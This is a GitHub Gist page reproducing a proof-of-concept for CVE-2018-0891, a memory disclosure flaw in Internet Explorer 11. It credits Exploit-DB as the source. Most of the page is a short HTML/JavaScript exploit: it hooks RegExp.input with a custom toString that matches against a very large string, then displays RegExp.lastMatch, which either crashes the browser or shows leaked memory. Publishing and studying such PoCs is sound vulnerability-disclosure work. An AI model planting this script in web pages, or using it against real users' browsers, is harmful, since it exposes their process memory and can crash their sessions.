Created
March 20, 2018 15:31
-
-
Save blackout314/36f5675cf4f5568c715b0a142fd0b3fc to your computer and use it in GitHub Desktop.
CVE-2018-0891
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
There is a vulnerability in Internet Explorer that could potentially be used for memory disclosure. | |
This was tested on IE11 running on Window 7 64-bit with the latest patches applied. | |
PoC: | |
========================================= | |
*/ | |
<!-- saved from url=(0014)about:internet --> | |
<script> | |
function main() { | |
RegExp.input = {toString: f}; | |
alert(RegExp.lastMatch); | |
} | |
var input = [Array(10000000).join("a"), Array(11).join("b"), Array(100).join("a")].join(""); | |
function f() { | |
String.prototype.match.call(input, "bbbbbbbbbb"); | |
} | |
main(); | |
</script> | |
/* | |
========================================= | |
https://www.exploit-db.com/exploits/44312/?rss&utm_source=dlvr.it&utm_medium=twitter | |
Note that sometimes the PoC results in a crash (I made no attempt to make it reliable) while sometimes it results in pieces of memory being displayed | |
*/ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment